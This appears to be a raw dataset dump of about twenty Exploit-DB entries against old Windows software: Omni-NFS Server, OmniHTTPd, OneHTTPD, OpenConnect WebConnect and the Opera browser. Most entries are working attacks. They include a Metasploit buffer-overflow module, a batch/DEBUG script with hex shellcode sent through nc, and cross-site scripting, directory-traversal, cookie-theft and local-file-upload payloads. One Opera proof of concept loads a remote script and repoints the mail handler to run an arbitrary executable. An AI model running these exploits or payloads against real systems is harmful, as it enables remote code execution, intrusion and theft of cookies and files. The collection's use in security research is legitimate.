deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16389
Description: Omni-NFS Server - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: xlink_nfsd.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Omni-NFS Server Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.2
				When sending a specially crafted nfs packet, an attacker may be able
				to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'CVE', '2006-5780' ],
					[ 'OSVDB', '30224'],
					[ 'BID', '20941' ],
					[ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 336,
					'BadChars' => "\x00",
					'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP4 English',     { 'Ret' => 0x0040bb2e } ],
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 06 2006'))

		register_options([Opt::RPORT(2049)], self.class)
	end

	def exploit
		connect

		buff =  payload.encoded
		buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)
		buff << [target.ret].pack('V')
		buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string
		buff << rand_text_english(251)

		pkt =  [1].pack('N')
		pkt << [0].pack('N')
		pkt << [2].pack('N')
		pkt << [100005].pack('N')
		pkt << [1].pack('N')
		pkt << [1].pack('N')
		pkt << [1].pack('N')
		pkt << [400].pack('N')
		pkt << buff[0,400]
		pkt << [1].pack('N')
		pkt << [400].pack('N')
		pkt << buff[300,400]

		sploit = [pkt.length | 0x80000000].pack('N') + pkt

		print_status("Trying target #{target.name}...")
		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #20886
Description: Omnicron OmniHTTPd 2.0.4-8 - File Source Disclosure
Type: remote
Platform: windows
Date: 2001-05-26
Author: astral

Exploit:
source: https://www.securityfocus.com/bid/2788/info

Submitting a specially crafted GET request for a known file (.php, .pl, or .shtml), could cause OmniHTTPD to disclose the source code of the requested resource. The GET requested would have to be appended with the Unicode equivalent of a space.

Example:

GET /filename.php%20
Exploit-DB #24129
Description: Omnicron OmniHTTPd 2.x/3.0 - GET Buffer Overflow
Type: remote
Platform: windows
Date: 2004-04-23
Author: CoolICE

Exploit:
source: https://www.securityfocus.com/bid/10376/info

Reportedly OmniHTTPD is affected by a GET request buffer overflow vulnerability. This issue is due to a failure of the application to properly validate string sizes when processing user input.

This issue could allow an attacker to execute arbitrary code with the privileges of the affected web server.

@echo off
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:Application:   OmniHTTPd
:Vendors:       http://www.omnicron.ca
:Version:       <=V3.0a
:Platforms:     Windows
:Bug:           Overflow
:Date:          2004-04-23
:Author:        CoolICE
:E-mail:        CoolICE#China.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;if '%1'=='' echo Usage:%0 target&&goto :eof
;for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need
nc.exe&&goto :eof
;DEBUG < %~s0
;GOTO :run

e 100 "GET / HTTP/1.0" 0D 0A "Range: "
!Overflow@length>0xE0
f 117 206 41
!JMPESP@w2k
e 207 12 45 FA 7F
!Shellcode
e 20B EB 1B 5B BE 43 6F 6F 6C BF 49 43 45 21 43 39 3B
e 21B 75 FB 4B 80 33 88 39 73 FC 75 F7 EB 09 E8 E0 FF
e 22B FF FF 43 6F 6f 6C 61 31 88 88 88 D6 60 CE 88 88
e 23B 88 01 8E 03 50 DB E0 F6 50 6A FB 60 C4 88 88 88
e 24B 01 CE 80 DB E0 06 C6 86 64 60 B6 88 88 88 01 CE
e 25B 8C E0 BB BA 88 88 E0 DD DB CD DA DC 77 58 01 CE
e 26B 84 03 50 DB E0 07 6E AC DF 60 96 88 88 88 01 CE
e 27B 98 77 DE 98 77 DE 80 DE EC 29 B8 88 88 88 03 C8
e 28B 84 03 F8 94 25 03 C8 80 D6 4A 8C 88 DB DD DE DF
e 29B 03 E4 AC 90 03 CD B4 03 DC 8D F0 8B 5D 03 C2 90
e 2AB 03 D2 A8 8B 55 6B BA C1 03 BC 03 8B 7D BB 77 74
e 2BB BB 48 24 B2 4C FC 8F 49 47 85 8B 70 63 7A B3 F4
e 2CB AC 9C FD 69 03 D2 AC 8B 55 EE 03 84 C3 03 D2 94
e 2DB 8B 55 03 8C 03 8B 4D 63 8A BB 48 03 5D D7 D6 D5
e 2EB D3 4A 80 88 60 CA 77 77 77 49 43 45 21 0D 0A 0D
E 2FB 0A 00
rcx
1FC
nhttp.tmp
w
q


:run
nc %1 80 < http.tmp
del http.tmp
Exploit-DB #21753
Description: OmniHTTPd 1.1/2.0.x/2.4 - 'test.php' Sample Application Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-08-26
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5568/info

Cross site scripting vulnerabilities have been reported in multiple sample scripts including with OmniHTTPD. In particular, test.shtml and test.php contain errors.

This type of vulnerability may be used to steal cookies or perform other web-based attacks. 

http://localhost/test.php?%3CSCRIPT%3Ealert%28document.URL%29%3C%2FSCRIPT%3E=x
Exploit-DB #21757
Description: OmniHTTPd 1.1/2.0.x/2.4 - Sample Application URL Encoded Newline HTML Injection
Type: remote
Platform: windows
Date: 2002-08-26
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5572/info

OmniHTTPD is a webserver for Microsoft Windows operating systems. OmniHTTPD supports a number of CGI extensions which provide dynamic content.

A HTML injection vulnerability has been reported in the '/cgi-bin/redir.exe' sample CGI included with OmniHTTPD. Reportedly, it is possible for an attacker to URL encode the newline character (%0D) and insert malicious HTML code. A vulnerable server receiving a malformed request will return a 302 redirect HTTP response containing the malicious attacker-supplied code. 

http://localhost/cgi-bin/redir.exe?URL=http%3A%2F%2Fwww%2Eyahoo%2Ecom%2F%0D%
0A%0D%0A%3CSCRIPT%3Ealert%28document%2EURL%29%3C%2FSCRIPT%3E
Exploit-DB #21754
Description: OmniHTTPd 1.1/2.0.x/2.4 - test.shtml Sample Application Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-08-26
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5568/info
 
Cross site scripting vulnerabilities have been reported in multiple sample scripts including with OmniHTTPD. In particular, test.shtml and test.php contain errors.
 
This type of vulnerability may be used to steal cookies or perform other web-based attacks.

http://localhost/test.shtml?%3CSCRIPT%3Ealert(document.URL)%3C%2FSCRIPT%3E=x
Exploit-DB #33890
Description: OneHTTPD 0.6 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-04-27
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/39757/info

OneHTTPD is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

OneHTTPD 0.6 is vulnerable; other versions may also be affected. 

http://www.example.com/%C2../%C2../%C2../%C2../%C2../%C2../%C2../%C2../
Exploit-DB #25146
Description: OpenConnect WebConnect 6.4/6.5 - jretest.html Traversal Arbitrary File Access
Type: remote
Platform: windows
Date: 2005-02-21
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/12613/info

OpenConnect WebConnect is reported prone to multiple vulnerabilities. The following individual issues are reported:

WebConnect is reported prone to a remote denial of service vulnerability.

A remote attacker may exploit this vulnerability to crash the WebConnect software and deny service for legitimate users.

A directory traversal vulnerability is also reported to affect WebConnect. This issue is reported to exist due to a lack of sufficient sanitization performed on a user-supplied URI parameter that is passed to the 'jretest.html' script.

A remote attacker may exploit this vulnerability to disclose the contents of server readable files.

http://www.example.com:2080/jretest.html?lang=&parms=default&WCP_USER=..//..//..//..//..//boot.ini&action=
http://www.example.com:2080/COM1
Exploit-DB #21156
Description: Opera 5.0/5.1 - Same Origin Policy Circumvention
Type: remote
Platform: windows
Date: 2001-11-15
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/3553/info

Opera is a popular, freely available web browser that is supported across many different platforms.

Opera is prone to an issue which may allow for the execution of script code across domains, allowing for circumvention of the web browser's security model. It is possible to construct malicious script code on a webpage, which when executed by Opera web browser, is able to affect another domain.

In short, Opera does not properly implement the "Same Origin Policy" enforced by other browsers.

The danger is that one website may be able to access the cookie-based authentication credentials of another website. 

-1.----------------------------------
a=window.open("http://mail.yahoo.com");
function f()
{
xx=a.document.cookie;
alert("hi"+xx);
a.document.open();
a.document.write("<h1>aa</h1><script>x=window.open('http://mail.yahoo.com');setTimeout('z=x.document.cookie;alert(z);',5000)</"+"script>");
a.document.close();
}
setTimeout("f()",5000);
-----------------------------------
Exploit-DB #21451
Description: Opera 5.12/6.0 - Frame Location Same Origin Policy Circumvention
Type: remote
Platform: windows
Date: 2002-05-15
Author: Andreas Sandblad

Exploit:
source: https://www.securityfocus.com/bid/4745/info

Opera is a web browser product created by Opera Software, and is available for a range of operating systems including Windows and Linux. A vulnerability has been reported in some versions of the Opera Browser.

It is possible to bypass the same origin policy in some versions of the Opera Browser. Javascript may modify the location property of an IFRAME or FRAME included in the document. If the location is set to a javascript: URL, the script code will execute within the context of the previous frame site.

<iframe name=foo src="www.sensitive.com"></iframe>
<script>foo.location="javascript:alert(document.cookie)";</script>
Exploit-DB #21636
Description: Opera 6.0.1 / Microsoft Internet Explorer 5/6 - JavaScript Modifier Keypress Event Subversion
Type: remote
Platform: windows
Date: 2002-07-23
Author: Andreas Sandblad

Exploit:
source: https://www.securityfocus.com/bid/5290/info

An issue has been reported with the JavaScript implementation of multiple web browsers, including Microsoft Internet Explorer and Opera. Malicious JavaScript may subvert some keypress events, with consequences including the disclosure of arbitrary local files to a remote server.

Through JavaScript, it is possible to define an event handler for the 'onkeydown' event, which fires when a key is pressed by the end user. Malicious script code may subvert this event to an arbitrary Ctrl-key combination, including events such as Paste. By further modifying the environment, it is possible to paste arbitrary content into a file upload form field.

This form may also be submitted by the malicious script, disclosing arbitrary local file contents to a remote server.

Other attacks based on script interaction with the cut and paste functionality of Windows may also be possible.

<div id=h style="zoom:0.0001">
<form name=u enctype="multipart/form-data" method=post action=upload.php>
<input type=file name=file></form></div>
<script>
//uploadFile="..\\LOCALS~1\\TEMPOR~1\\CONTENT.IE5\\index.dat";
uploadFile="..\\Cookies\\index.dat";
function gotKey(){
if (event.ctrlKey)
event.keyCode = 86;
else if (event.shiftKey)
event.keyCode = 45;
else
return;
document.onkeydown = null;
window.clipboardData.setData("Text",uploadFile);
(p=document.forms.u.file).focus();
p.onpropertychange = function(){document.forms.u.submit()};
} document.onkeydown = gotKey;
window.onload=function(){document.body.focus()};
</script>
Exploit-DB #21483
Description: Opera 6.0.1/6.0.2 - Arbitrary File Disclosure
Type: remote
Platform: windows
Date: 2002-05-27
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/4834/info

A vulnerability has been reported in Opera 6.01/6.02. The vulnerability is related to handling of the 'file' HTML input-type. It is possible for a server to set the file value, while fooling Opera into thinking no file has been specified. This is possible if the filename is appended with the string "&#10;". This HTML-encoded newline character will cause the browser to believe that no value has been set. Consequently, the form will be submitted and the specified file will be uploaded to the server. This may occur without knowledge or consent of the victim user.

Exploitation of this vulnerability allows for malicious webmasters to obtain arbitrary files from client systems. 

<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" action="recFile.php"
name="secForm">
<input type="file" name="expFile" value="c:\test.txt&#10;"
style="visibility:hidden">
</form>
</body>
Exploit-DB #21681
Description: Opera 6.0.x - FTP View Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-08-06
Author: Eiji James Yoshida

Exploit:
source: https://www.securityfocus.com/bid/5401/info

A cross-site scripting vulnerability in Opera has been reported. When viewing the contents of an FTP site as web content, the data within <title> tags is not sanitized. An attacker may embed javascript between open and closing <title> tags in a FTP URL. 

This vulnerability has been confirmed on Opera 6.03 and 6.04 for Windows 2000.

<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@[FTPserver]/">
</head>
<body>
<script>window.open("ftp://[FTPserver]/");</script>
</body>
</html>

Example:
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@ftp.opera.com/">
</head>
<body>
<script>window.open("ftp://ftp.opera.com/");</script>
</body>
</html>
Exploit-DB #22341
Description: Opera 6.0/7.0 - 'Filename Download' Buffer Overrun
Type: remote
Platform: windows
Date: 2003-03-10
Author: nesumin

Exploit:
source: https://www.securityfocus.com/bid/7056/info

A buffer overrun vulnerability has been discovered in the Opera web browser. The issue affects Opera versions 6 and 7 on the Microsoft Windows platform.

Due to insufficient bounds checking when copying file names to a temporary buffer it may be possible for an attacker to corrupt memory. The problem occurs when downloading a file with a name of excessive length.

Successful exploitation of this issue may allow an attacker to execute arbitrary commands within a browser that downloads the malicious file.

It should be noted that this issue is limited to files that are displayed in the 'Download Dialog'.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22341.tgz
Exploit-DB #22217
Description: Opera 7 - Image Rendering HTML Injection
Type: remote
Platform: windows
Date: 2003-02-04
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/6756/info

It has been reported that, when generating HTML to display images or embedded media, Opera does not correctly format the provided URL or sufficiently encode URLs to local files.

As a result of this lack of sanitization Opera is vulnerable to HTML injection attacks when handling local image or media files.

open("file://localhost/images/file.gif?\"><script>alert(location.href);</script>","","");
Exploit-DB #22219
Description: Opera 7.0 - Error Message History Disclosure
Type: remote
Platform: windows
Date: 2003-02-04
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/6759/info

It has been reported that Opera fails to ensure that a remote site has proper authorization before executing some methods used to access error messages stored in the Opera console.

This issue is further exacerbated by the fact that error messages also contain the URL of the site that caused the issue. This can be exploited by a malicious attacker to obtain a listing of the victim user's Web browsing habits for, potentially, malicious purposes.

var sMsg,
sFinal="",
iLen=opera.errorIndex();

for (var iErr=0;iErr<iLen;iErr++) {
sMsg=opera.errorMessage(iErr);
if (sMsg && /(https?:\/\/\S+)/i.test(sMsg)) sFinal+=RegExp.$1+"\n";
}
alert(sFinal);
Exploit-DB #22218
Description: Opera 7.0 - History Object Information Disclosure
Type: remote
Platform: windows
Date: 2003-02-04
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/6757/info

An information disclosure weakness has been reported for Opera 7 browsers on the Microsoft Windows platform.

The weakness is due to the way the history object exposes some properties. Specifically, the properties history.next and history.previous are exposed. Any site can make use of these properties to track a user's web surfing habits.

alert("Last URL: "+history.previous+".\nNext URL: "+history.next+".");
Exploit-DB #22213
Description: Opera 7.0 - JavaScript Console Attribute Injection
Type: remote
Platform: windows
Date: 2003-02-04
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/6755/info

A vulnerability has been reported for Opera 7 browsers for Microsoft Windows operating systems. The vulnerability exists in the Opera JavaScript console. Attackers may exploit the vulnerability to execute script code in a sensitive context. Exploitation of this vulnerability may lead to disclosure of local file contents.

open("file://localhost/console.html","","");
opera.postError("http://\"style=\"background-image:url('javascript:alert(location.href)')\"");

open("file://localhost/console.html","","");
opera.postError("file://\"style=\"background-image:url('javascript:alert(location.href)')\".");
Exploit-DB #22546
Description: Opera 7.0/7.10 - JavaScript Console Single Quote Attribute Injection
Type: remote
Platform: windows
Date: 2003-04-28
Author: nesumin

Exploit:
source: https://www.securityfocus.com/bid/7449/info

A vulnerability has been reported for Opera 7 browsers for Microsoft Windows operating systems. The vulnerability exists in the Opera JavaScript console. Attackers may exploit the vulnerability to execute script code in a sensitive context. Exploitation of this vulnerability may lead to disclosure of local file contents.

ar message = "http://');alert(location.href+'";
opera.postError( message );
location.href = "file://localhost/console.html";

var message = "http://&#39;);alert(location.href+&#39;";
opera.postError( message );

Additional exploit examples can be found in the attached Bugtraq reference.
location.href = "file://localhost/console.html";
Exploit-DB #22951
Description: Opera 7.20 - Mail Client Policy Circumvention
Type: remote
Platform: windows
Date: 2003-07-23
Author: Arve Bersvendsen

Exploit:
source: https://www.securityfocus.com/bid/8254/info

The Opera M2 Mail Client is vulnerable to a policy circumvention issue that could allow information to be disclosed to a remote attacker. It is possible for an attacker to bypass the option to suppress the viewing of external embeds. This could allow the attacker to learn the IP address of a vulnerable user and to determine if an e-mail address is valid.

This vulnerability was reported to only affect Opera 7.20 Beta 1 build 2981.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<style type="text/css">
omf|headers { background-image: url(http://www.example.com/t.png) }
</style>
</head>
<body>
{ Normal mail body here }
</body>
</html>
Exploit-DB #6813
Description: Opera 9.52/9.60 - Persistent Cross-Site Scripting Code Execution
Type: remote
Platform: windows
Date: 2008-10-23
Author: Aviv Raff

Exploit:
<!--
Just found a way to use StefanoĆ¢ā‚¬ā„¢s opera:config idea to execute code from remote.

Instead of changing the HTTP Proxy, an attacker can change the default external 
mail application to Ć¢ā‚¬Å“\\evil\malware.exe Ć¢ā‚¬Ā¯, or to local commands (e.g. ftp.exe 
which can be used to download malicious binaries from remote). Also, there is a 
need to change the Ć¢ā‚¬Å“Mail HandlerĆ¢ā‚¬Ā¯ settings to Ć¢ā‚¬Å“2Ć¢ā‚¬Ā¯, so opera will execute the 
external mail application, instead of the default opera mail application.

After changing the settings, the attacker can simply set the location to Ć¢ā‚¬Å“mailto:Ć¢ā‚¬Ā¯ to execute the code.


A proof-of-concept which executes the Windows Calculator can be found here: http://raffon.net/research/opera/history/op.html


Cheers,

--Aviv.

http://aviv.raffon.net
-->

<html>
<title>bb</title>
<script>
var z=null;
function x() {
  window.setTimeout("z=window.open('opera:historysearch?q=%2A');window.focus();",1500);
  window.setTimeout("z.close();",3000);
  window.setTimeout("location.href='mailto:'",3000);
}
</script> 
<body>
<a href="#<script src='http://www.raffon.net/research/opera/history/o.js'></script>" onclick="x()">Click me...</a>
</body>
</html>

<o.js>
s=document.createElement("IFRAME");
s.src="opera:config";
document.body.appendChild(s);
s.src="javascript:opera.setPreference('Mail','External Application','c:\\\\windows\\\\system32\\\\calc.exe');opera.setPreference('Mail','Handler','2');parent.window.close()";
</o.js>

# milw0rm.com [2008-10-23]